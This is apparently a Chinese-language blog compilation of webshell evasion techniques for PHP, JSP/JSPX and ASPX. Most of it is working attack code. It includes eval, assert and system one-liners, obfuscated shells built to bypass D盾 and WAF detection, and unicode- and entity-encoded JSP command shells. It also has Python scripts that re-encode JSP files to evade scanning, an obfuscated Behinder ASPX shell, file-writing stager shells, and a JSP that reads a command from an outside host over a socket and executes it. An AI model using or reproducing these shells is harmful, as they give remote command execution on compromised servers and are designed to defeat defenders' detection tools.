被人玩烂了的东西,看了太多网上的文章了,自己趁最近有空写个总结吧
https://su18.org/post/EiNzuduRG/#5%E6%AD%A3%E5%88%99-e-%E6%A8%A1%E5%BC%8F
https://zeo.cool/2020/12/31/webshell%E5%A4%9A%E7%A7%8D%E6%96%B9%E6%B3%95%E5%85%8D%E6%9D%80/

污点绕过

https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652990938&idx=1&sn=458ea3b0ea978b17d7c494313e53a1fb&scene=21#wechat_redirect
https://mp.weixin.qq.com/s/MFmSliCQaaVEQ0E66vN5Xg
关键点,打乱污点传递
https://mp.weixin.qq.com/s/bLxljfaRHP66MJ7ghv0g1g

php

  1. 五种前缀
  2. <?php phpinfo();?>
  3. <script language='php'>phpinfo();</script>
  4. <?=phpinfo()?>
  5. <?phpinfo()?>
  6. <%=phpinfo()%>

一句话

  1. <?php @eval($_POST['hacker']); ?>
  2. <?php assert($_REQUEST["pass"]);?>蚁剑连接需要编码一下,Cknife不用进行编码

最短一句话

  1. <?=`$_GET[1]`;

引号的区别

php的单引号和双引号是有区别的

  1. <?php
  2. $a = '123';
  3. $b = '$a';
  4. $c = "$a";
  5. echo $b;
  6. echo '<br>';
  7. echo $c;
  8. ?>
  9. 输出
  10. $a
  11. 123

可以看出,单引号是原封不动的输出,而双引号则是会进行$的解析

常见的php特性

1、可变变量

  1. <?php
  2. $b = "assert";
  3. $a = 'b';
  4. $$a($_POST['hacker']);
  5. ?>

2、可变函数

  1. @$_GET['a']($_GET['cmd']);
  2. http://127.0.0.1/1.php?a=system&cmd=whoami

3、自写函数

  1. <?php
  2. function test($a){
  3. $a($_POST['x']);
  4. }
  5. test(assert);
  6. ?>
  1. ucwords() //函数把字符串中每个单词的首字符转换为大写
  2. ucfirst() //函数把字符串中的首字符转换为大写
  3. trim() //函数从字符串的两端删除空白字符和其他预定义字符
  4. substr_replace() //函数把字符串的一部分替换为另一个字符串
  5. substr() //函数返回字符串的一部分
  6. strtr() //函数转换字符串中特定的字符
  7. strtoupper() //函数把字符串转换为大写
  8. strtolower() //函数把字符串转换为小写
  9. strtok() //函数把字符串分割为更小的字符串
  10. str_rot13() //函数对字符串执行 ROT13 编码
  11. explode //把字符串大散为数组

特殊字符干扰

php支持 换行\r\n 、 \n 、 \r\n\t、tab 、null、注释符 、反引号

  1. <?php
  2. $c="NULL";
  3. $s=
  4. substr ("aabbccsystem".null,"0x6");
  5. null.$s/*0*/(null.
  6. $_GET/**/
  7. ['cmd'/*1*/]/*2*/);
  8. ?>

免杀D盾

  1. <?php
  2. $zeo='1';
  3. $$zeo=$_POST['x'];
  4. eval(NULL.``.$1);
  5. ?>

版本差异性绕语义WAF

https://learnku.com/articles/35800
https://www.leavesongs.com/PENETRATION/dynamic-features-and-webshell-tricks-in-php.html
如下代码在PHP5.3以上里,这是解析不了的,因为语法出错了

  1. <?php
  2. \echo `whoami`;?>

但是使用php5.2的版本,可以成功执行
image.png

16进制字符串
在php7中不认为是数字,php5则依旧为数字
经过测试 5.3 和5.5可以成功执行命令,5.2和php7无法执行

  1. <?php
  2. $s=substr("aabbccsystem","0x6");
  3. $s($_GET['cmd']);
  4. ?>

image.pngimage.png

List正反向解析
php5反方向取值,Php7正方向取值

  1. <?php
  2. $info=array("dir","whoami");
  3. list($a[0],$a[1])=$info;
  4. SYSTEM(END($a))
  5. ?>
  6. php 5 输出 执行dir
  7. php 7 输出 执行whoami

方法不传参

  1. <?php
  2. function null($a,$b){
  3. return 0;
  4. }
  5. $a=null();
  6. $s=substr("system",$a);
  7. $s($_GET['a']);
  8. ?>
  9. //php5支持function不传参 php7function必须传参

image.pngimage.png

回车换行

AF绕7.3.4命令执行,其他的版本echo必须回车换行

  1. <?=
  2. $a=<<< aa
  3. assasssasssasssasssasssasssasssasssasssasssassss
  4. aa;echo `whoami`
  5. ?>

Tips

usleep(50);
https://www.cnblogs.com/0xdd/p/12786407.html

科学计数法999e99999=0

  1. <?php
  2. $arr[0]='1';
  3. $arr[99999e9999999]=$_GET[1];
  4. @eval("".$arr[0]."");
  5. echo $arr[0];
  6. echo $arr[99999e9999999];

image.png

php的base64特性

YWE= ————》aa

Y—-W|@^^!@#$%^&*我我|E=)))(((————》aa
可得:Php针对一些特殊符号会将其忽略掉,并且能够成功转化为想要的base64字符串

XOR特性

git clone https://github.com/devploit/XORpasscd XORpass
$ python3 xorpass.py -h

进制转换array_map

https://c.runoob.com/front-end/58/
image.png

  1. <?php
  2. array_map(base_convert(27440799224,10,32),array(1))
  3. ?>
  1. <?php
  2. $a[0]="whoami";
  3. array_map(base_convert(1751504350,10,36),$a);
  4. ?>

外部获取参数

  1. <?php
  2. $arr = get_defined_functions()['internal'];
  3. //var_dump($arr);
  4. $arr[457]($_GET['cmd']);

需要根据版本获取到属于那个版本对应的数组位置
image.png

assert异或免杀一句话

  1. <? @("Y;HJ(Z"^"8H;/Z.")(${"~?}$"^"!x8p"}[1]);
  2. ?1=phpinfo()

尽量减少get和post

传参时不直接使用$_GET和$_POST,而是用$_REQUEST、$GLOBALS、$_SESSION、$_SERVER内的参数间接传值,确实能绕过很多检测

JSP

Tips

jsp的后缀可以兼容为jspx的代码,也兼容jspx的特性,如CDATA特性。
但是jspx后缀不兼容为jsp的代码,jspx只能用jspx的格式

EL表达式

  1. <html>
  2. <body>
  3. ${Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"))}
  4. </body>
  5. </html>

SOCKS

  1. <%
  2. Socket socket =new Socket();
  3. socket.connect(new InetSocketAddress("1.1.1.1",8888);
  4. InputStream inputStream=socket.getInputStream();
  5. StringBuilder sb= new StringBuilder();
  6. String line;
  7. BufferedReader br =new BufferedReader(new InputStreamReader(inputStream));
  8. while((line=br.readLine())!=null{
  9. sb.append(line);
  10. }
  11. String str=sb.toString();
  12. Runtime.getRuntime().exec(str);
  13. %>

反射

  1. <%
  2. MethodHandle mh=lookup().findVirtual(Runtime.getRuntime().getClass(),"exec",methodType(Process.class,new Class[] {String.class}));
  3. mh.invokeWithArguments(Runtime.getRuntime(),request.getParameter("cmd"));
  4. %>

JSPWebshell前沿的免杀技巧

https://xz.aliyun.com/t/10507
https://xz.aliyun.com/t/7798

特性:

JSP支持Unicode转码和换行
Unicode格式为\u0053,且支持\uuuuuuuuuuuuuuu0053,也就是不论加几个u都可以,并且不支持大U,只支持小u

例如xyz可以表示成:

  1. x\u0079\u007a
  2. \u0078y\u007a
  3. \u0078\u0079z
  4. \u0078\u0079\u007A
  5. \u0078\uuuu0079\uuu007a
  6. \uuuuu0078\uu0079z
  7. \uuuuuuuuu0078yz

uniocode转码工具
http://tool.chinaz.com/tools/unicode.aspx

JSP拼接特性

原: <%out. println(“hello”) %>
修改:<%out.%><% println(“hello”) %>

可以利用大量的
image.png

换行特性

java支持换行
哥斯拉免杀
image.png

JAVA的注释特性

如下所示,

  1. public void testUnicode() {
  2. String a = "Hello";
  3. // \u000d a="world";
  4. System.out.println(a);
  5. // \u000a a="hello world!";
  6. System.out.println(a);
  7. }

输出world 和hello world
原因:java编译器会处理unicode字符,\u000d以及\u000a 正好对应“\r”回车、“\n”换行,经过编译器处理后,等效于下面的代码:

  1. public void testUnicode() {
  2. String a = "Hello";
  3. //
  4. a="world";
  5. System.out.println(a);
  6. //
  7. a="hello world!";
  8. System.out.println(a);
  9. }

Java的base64特性

java YQ==Yg== ————》ab

php YQ==Yg== ————》乱码
特性就是可以进行拼接:
a(base64)+b(base6)=ab

jspx的xml语法支持实体化编码

如下所示,实体化编码不影响xml解析,可以全部进行实体化编码过waf

  1. <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
  2. xmlns="http://www.w3.org/1999/xhtml"
  3. xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
  4. <jsp:directive.page contentType="text/html" pageEncoding="gb2312"/>
  5. <jsp:directive.page import="java.io.*"/>
  6. <html>
  7. <head>
  8. <title>jspx</title>
  9. </head>
  10. <body>
  11. <jsp:scriptlet>
  12. try {
  13. String cmd = request.getParameter("shell");
  14. if (cmd !=null){
  15. Process child = &#82;&#117;&#110;&#116;&#105;&#109;&#101;&#46;&#103;&#101;&#116;&#82;&#117;&#110;&#116;&#105;&#109;&#101;().exec(cmd);
  16. InputStream in = child.getInputStream();
  17. int c;
  18. while ((c = in.read()) != -1) {
  19. out.print((char)c);
  20. }
  21. in.close();
  22. try {
  23. child.waitFor();
  24. } catch (InterruptedException e) {
  25. e.printStackTrace();
  26. }
  27. }
  28. } catch (IOException e) {
  29. System.err.println(e);
  30. }
  31. </jsp:scriptlet>
  32. </body>
  33. </html>
  34. </jsp:root>

jspx CDATA特性

在XML元素里,<和&是非法的,遇到<解析器会把该字符解释为新元素的开始,遇到&解析器会把该字符解释为字符实体化编码的开始。但是我们有时候有需要在jspx里添加js代码用到大量的<和&字符,因此可以将脚本代码定义为CDATA。
CDATA部分内容会被解析器忽略。
格式:<![CDATA[xxxxxxxxxxxxxxxxxxx]]>
例如

  1. String cmd = request.getPar<![CDATA[ameter]]>("shell");

JSPX里是支持将语法分开的

可以看到,将 里语法分开了,其实就和正经jsp里的换行一样,没什么差别。

  1. <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
  2. xmlns="http://www.w3.org/1999/xhtml"
  3. xmlns:c="http://java.sun.com/jsp/jstl/core" version="2.0">
  4. <jsp:directive.page contentType="text/html;charset=UTF-8"
  5. pageEncoding="UTF-8"/>
  6. <jsp:scriptlet>
  7. Runtime.getRuntime()
  8. </jsp:scriptlet>
  9. <jsp:scriptlet>
  10. .exec(request.getParameter("test"));
  11. </jsp:scriptlet>
  12. </jsp:root>

对于实体化编码<和替换某些关键字的绕过

https://www.jianshu.com/p/c0c566de4e97

JSP编码特性

XML格式的

  1. #python2
  2. charset = "utf-8"
  3. data = '''<?xml version="1.0" encoding="UTF-8"?>
  4. <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
  5. version="1.2">
  6. <jsp:directive.page contentType="text/html"/>
  7. <jsp:declaration>
  8. </jsp:declaration>
  9. <jsp:scriptlet>
  10. Runtime.getRuntime().exec(request.getParameter("i"));
  11. </jsp:scriptlet>
  12. <jsp:text>
  13. </jsp:text>
  14. </jsp:root>'''.format(charset=charset)
  15. f16be = open('utf-16be.jspx','wb')
  16. f16be.write(data.replace('UTF-8','UTF-16be').encode('utf-16be'))
  17. f16le = open('utf-16le.jspx','wb')
  18. f16le.write(data.replace('UTF-8','UTF-16le').encode('utf-16le'))
  19. fcp037 = open('cp037.jspx','wb')
  20. fcp037.write(data.replace('UTF-8','CP037').encode('cp037'))

声明头部的方式来进行编码

普通的Jsp可使用如下格式免杀亲测成功

  1. #python2
  2. charset = "utf-8"
  3. data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)
  4. f16be = open('utf-16be.jsp','wb')
  5. f16be.write('<%@ page contentType="charset=utf-16be" %>')
  6. f16be.write(data.encode('utf-16be'))
  7. f16le = open('utf-16le.jsp','wb')
  8. f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')
  9. f16le.write(data.encode('utf-16le'))
  10. fcp037 = open('cp037.jsp','wb')
  11. fcp037.write(data.encode('cp037'))
  12. fcp037.write('<%@ page contentType="charset=cp037"/>')

如下图所示
image.png

直接使用特殊字符的方式来声明编码法方式

经过测试这种方法似乎不能bypass

  1. #python2
  2. charset = "utf-8"
  3. data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)
  4. f16be = open('utf-16be.jsp','wb')
  5. f16be.write("\xfe\xff")
  6. f16be.write(data.encode('utf-16be'))

jspx自定义头部

原:
image.png
现:

  1. <hi xmlns:hi="http://java.sun.com/JSP/Page">
  2. <hi:scriptlet>
  3. out.println(30*30);
  4. </hi:scriptlet>
  5. </hi>

unicode abcd+// webshell解析

  1. public class test {
  2. public static void main(String[] args) throws Exception {
  3. java.lang.Runtime.getRuntime().
  4. //\u000d\uabcdexec("whoami");
  5. }
  6. }
  7. java里报错
  8. <%
  9. Runtime.getRuntime().
  10. //\u000d\uabcdexec("calc");
  11. %>
  12. JSP下成功

一个jspwebshell免杀项目

https://github.com/EmYiQing/JSPHorse

ASPX

0、\unicode

ASPX同样支持\unicode
如xyz使用工具会转成
\u0078\u0079\u007a
但是他还支持

  1. \u0078y\u007a
  2. \u0078\u0079z
  3. \u0078\u0079\u007A
  4. \U00000078\u0079z
  5. \U00000078\u200c\u200d\u200d\U0000200d\u0079z
  6. 等等。。。

不同JSP的是,他仅支持对26个字母进行unicode编码

1、注释
此外,ASPX还支持/1212121/添加在函数之间进行混淆和

2、<% %>截断
ASPX支持使用多个<% %>来对语句进行拼接

3、空字符连接
\u200c \u200d \u200e \u200f

4、@符号
如哥斯拉webshell存在特征代码,可以添加@符号但是不会影响其解析
(Context.Session[“payload”] == null)
(@Context.@Session[“payload”] == null)

5、头部免杀

之前有遇到过检测该字段的<%@ Page Language=”C#” %>,这个是标识ASPX的一个字段,
针对该字段进行免杀%@Language=CSHARP% 之前修改为这样就过了

同样的,可以修改为
<%@ Page Language=”Jscript”%>
<%@Page Language=JS%>

  1. <%@Page Language="JAVASCRIPT"%><%eval(Request.Item(0),"unsafe");%>
  2. 但是这个前缀放冰蝎马里就不行了

也可以将该字段放在后面,不一定要放前面等

冰蝎aspx免杀

  1. <%@Language=CSHARP%>{;}<%@Import Namespace="/*qi*/System./*qi*/Reflection/*qi*/"%><%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/);{;}/*qi*/byte[/**/]/*qi*/k=/*qi*/Encoding./*qi*/Default./*qi*/GetBytes(Session[0/**/]+""),c/*qi*/=/*qi*/Request./*qi*/BinaryRead/*qi*/(Request./*qi*/ContentLength/*qi*/);{;}/*qi*/Assembly./*qi*/Load(new/*qi*/System./*qi*/Security/*qi*/.Cryptography./*qi*/RijndaelManaged/*qi*/(/*qi*/)./*qi*/CreateDecryptor/*qi*/(k/*qi*/, k/*qi*/)./*qi*/TransformFinalBlock/*qi*/(c, 0, c.Length))/*qi*/./*qi*/CreateInstance/*qi*/("U"/*qi*/)./*qi*/Equals/*qi*/(this/*qi*/)/*qi*/;{;}%>

6、字符编码格式转变

VSCODE 修改编码格式,如果Waf不支持编码UTF16编码的话,同样存在waf绕过的可能性
image.png

中转马

JSP中转马

  1. <%
  2. //写文件到当前目录下 与当前 jsp 同目录
  3. String a=application.getRealPath(request.getServletPath())+"2.txt";
  4. //当前 jsp 全路径 xx/xx.jsp2.txt
  5. out.println(a);
  6. String b=new String(new
  7. sun.misc.BASE64Decoder().decodeBuffer(request.getParameter("c"))); //base64 内容
  8. new java.io./**/FileOutputStream(a).write(b.getBytes());
  9. %>

ASPX

  1. <%@ page Language="Jscript" %>
  2. <%
  3. System.IO.File.WriteAllText(System.Web.HttpContext.Current.Server.MapPath("")+"\\1.txt",System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("YXNkYXNkc2Q=")));
  4. %>

无%%的JSP马

example:http://127.0.0.1/shell.jsp?cmd=whoami
win:

  1. <jsp:scriptlet> if(\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072("cmd") != \u006e\u0075\u006c\u006c){ \u0050\u0072\u006f\u0063\u0065\u0073\u0073 p = \u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063("cmd.exe /c " + \u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072("cmd")); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d os = p.getOutputStream(); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d in = p.getInputStream(); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0044\u0061\u0074\u0061\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d dis = new java.io.DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } out.println("\u0074\u0030\u0030\u006c\u0073\u0020\u0031\u0032\u0034\u0035\u0035"); </jsp:scriptlet>

Linux:

  1. <jsp:scriptlet> if(\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072("cmd") != \u006e\u0075\u006c\u006c){ \u0050\u0072\u006f\u0063\u0065\u0073\u0073 p = \u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063(\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072("cmd")); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d os = p.getOutputStream(); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d in = p.getInputStream(); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0044\u0061\u0074\u0061\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d dis = new java.io.DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } out.println("\u0074\u0030\u0030\u006c\u0073\u0020\u0031\u0032\u0034\u0035\u0035"); </jsp:scriptlet>

参考文章:
https://mp.weixin.qq.com/s/It_TxaorAKu_nwcCpyglCA
https://xz.aliyun.com/t/5152
https://xz.aliyun.com/t/5193
https://blog.csdn.net/weixin_50464560/article/details/120786013